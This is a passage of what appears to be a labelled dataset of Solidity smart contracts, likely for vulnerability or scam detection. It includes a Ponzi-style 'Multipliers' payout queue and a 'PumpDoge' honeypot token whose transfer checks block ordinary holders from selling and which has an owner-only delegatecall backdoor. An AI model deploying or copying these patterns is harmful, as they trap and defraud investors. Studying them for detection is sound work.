}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "token22";
string constant TOKEN_SYMBOL = "token22";
bool constant PAUSED = true;
address constant TARGET_USER = 0x008024069546651883a2b948AE67b345D7c42B19;
uint constant START_TIME = 1524839861;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 3,932 |
pragma solidity ^0.4.19;
contract Storage{
address public founder;
bool public changeable;
mapping( address => bool) public adminStatus;
mapping( address => uint256) public slot;
event Update(address whichAdmin, address whichUser, uint256 data);
event Set(address whichAdmin, address whichUser, uint256 data);
event Admin(address addr, bool yesno);
modifier onlyFounder() {
require(msg.sender==founder);
_;
}
modifier onlyAdmin() {
assert (adminStatus[msg.sender]==true);
_;
}
function Storage() public {
founder=msg.sender;
adminStatus[founder]=true;
changeable=true;
}
function update(address userAddress,uint256 data) public onlyAdmin(){
assert(changeable==true);
assert(slot[userAddress]+data>slot[userAddress]);
slot[userAddress]+=data;
Update(msg.sender,userAddress,data);
}
function set(address userAddress, uint256 data) public onlyAdmin() {
require(changeable==true || msg.sender==founder);
slot[userAddress]=data;
Set(msg.sender,userAddress,data);
}
function admin(address addr) public onlyFounder(){
adminStatus[addr] = !adminStatus[addr];
Admin(addr, adminStatus[addr]);
}
function halt() public onlyFounder(){
changeable=!changeable;
}
function() public{
revert();
}
} | 1 | 4,354 |
pragma solidity ^0.4.25;
contract Multipliers {
address constant private FATHER = 0x7CDfA222f37f5C4CCe49b3bBFC415E8C911D1cD8;
address constant private TECH = 0xDb058D036768Cfa9a94963f99161e3c94aD6f5dA;
address constant private PROMO = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public FATHER_PERCENT = 1;
uint constant public TECH_PERCENT = 2;
uint constant public PROMO_PERCENT = 2;
uint constant public PRIZE_PERCENT = 2;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether;
uint constant public MAX_IDLE_TIME = 20 minutes;
uint8[] MULTIPLIERS = [
111,
113,
117,
121,
125,
130,
135,
141
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfo;
uint public prizeAmount = 0;
int public stage = 0;
mapping(address => DepositCount) public depositsMade;
function () public payable {
if(msg.value > 0 && msg.sender != FATHER){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT, "The investment is too much!");
checkAndUpdateStage();
require(getStageStartTime(stage+1) >= now + MAX_IDLE_TIME);
addDeposit(msg.sender, msg.value);
pay();
}else if(msg.value == 0){
withdrawPrize();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE)
lastDepositInfo = LastDepositInfo(uint128(currentQueueSize), uint128(now));
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
prizeAmount += value*(FATHER_PERCENT + PRIZE_PERCENT)/100;
uint support = value*TECH_PERCENT/100;
TECH.send(support);
uint adv = value*PROMO_PERCENT/100;
PROMO.send(adv);
}
function checkAndUpdateStage() private{
int _stage = getCurrentStageByTime();
require(_stage >= stage, "We should only go forward in time");
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
if(prizeAmount > balance)
prizeAmount = balance;
uint donation = prizeAmount*FATHER_PERCENT/(FATHER_PERCENT + PRIZE_PERCENT);
if(donation > 10 ether)
donation = 10 ether;
require(gasleft() >= 300000, "We need gas for the father contract");
FATHER.call.value(donation).gas(250000)();
uint prize = prizeAmount - donation;
queue[lastDepositInfo.index].depositor.send(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17 hours) / 1 days - 17837;
}
function getStageStartTime(int _stage) public pure returns (uint) {
return 17 hours + uint(_stage + 17837)*1 days;
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfo.index && lastDepositInfo.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 630 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PumpDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 672 |
pragma solidity ^0.4.21;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal pure {
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
